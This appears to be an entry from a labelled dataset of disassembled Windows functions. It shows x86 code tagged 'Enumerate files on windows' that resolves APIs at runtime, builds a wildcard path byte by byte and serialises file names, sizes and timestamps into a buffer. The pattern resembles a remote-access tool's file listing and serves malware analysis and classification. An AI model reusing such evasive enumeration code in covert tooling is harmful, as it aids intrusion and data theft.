Function at 0x100058f0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x264
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebp, ecx
push str.Sleep
push str.kernel32.dll
mov dword [esp + 0x34], ebp
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.LocalReAlloc
push str.kernel32.dll
mov dword [esp + 0x30], eax
call esi
push eax
call edi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
mov edi, 0x2800
push 0x30
mov dword [esp + 0x28], eax
mov dword [ebp + 0x1c], 0
mov dword [esp + 0x24], edi
call esi
add esp, 4
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
mov al, 0x2a
mov byte [esp + 0x17], al
mov byte [esp + 0x19], al
mov eax, dword [esp + 0x278]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x174]
push ecx
push edx
mov byte [esp + 0x20], 0x25
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x26], 0
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x30
call esi
add esp, 0x10
lea eax, [esp + 0x30]
lea ecx, [esp + 0x170]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0x30
mov dword [esp + 0x20], eax
call esi
mov eax, dword [esp + 0x20]
add esp, 4
cmp eax, 0xffffffff
jne 0x100059e6
lea edx, [esp + 0x13]
push 1
push edx
mov ecx, ebp
mov byte [esp + 0x1b], 0x68
call fcn.1000b380
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x264
ret 4
mov byte [ebx], 0x68
mov ebp, 1
jmp 0x100059f4
mov edi, dword [esp + 0x20]
lea eax, [edi - 0x208]
cmp ebp, eax
jbe 0x10005a18
add edi, 0x208
push 0
mov dword [esp + 0x24], edi
call dword [esp + 0x2c]
push 0x42
push edi
push ebx
call dword [esp + 0x30]
mov ebx, eax
mov edi, 0x1001e484
lea esi, [esp + 0x5c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10005a49
test al, al
je 0x10005a45
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10005a49
add esi, 2
add edi, 2
test al, al
jne 0x10005a21
xor eax, eax
jmp 0x10005a4e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10005ae8
mov edi, 0x1001e480
lea esi, [esp + 0x5c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10005a87
test al, al
je 0x10005a83
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10005a87
add esi, 2
add edi, 2
test al, al
jne 0x10005a5f
xor eax, eax
jmp 0x10005a8c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10005ae8
mov al, byte [esp + 0x30]
lea ecx, [esp + 0x5c]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x5c]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebp, eax
and ecx, 3
inc ebp
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x4c]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x50]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x44]
add ebp, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x48]
mov dword [ebx + ebp + 4], eax
add ebp, 8
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x30]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100059f0
mov ecx, dword [esp + 0x2c]
push ebp
push ebx
call fcn.1000b380
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x264
ret 4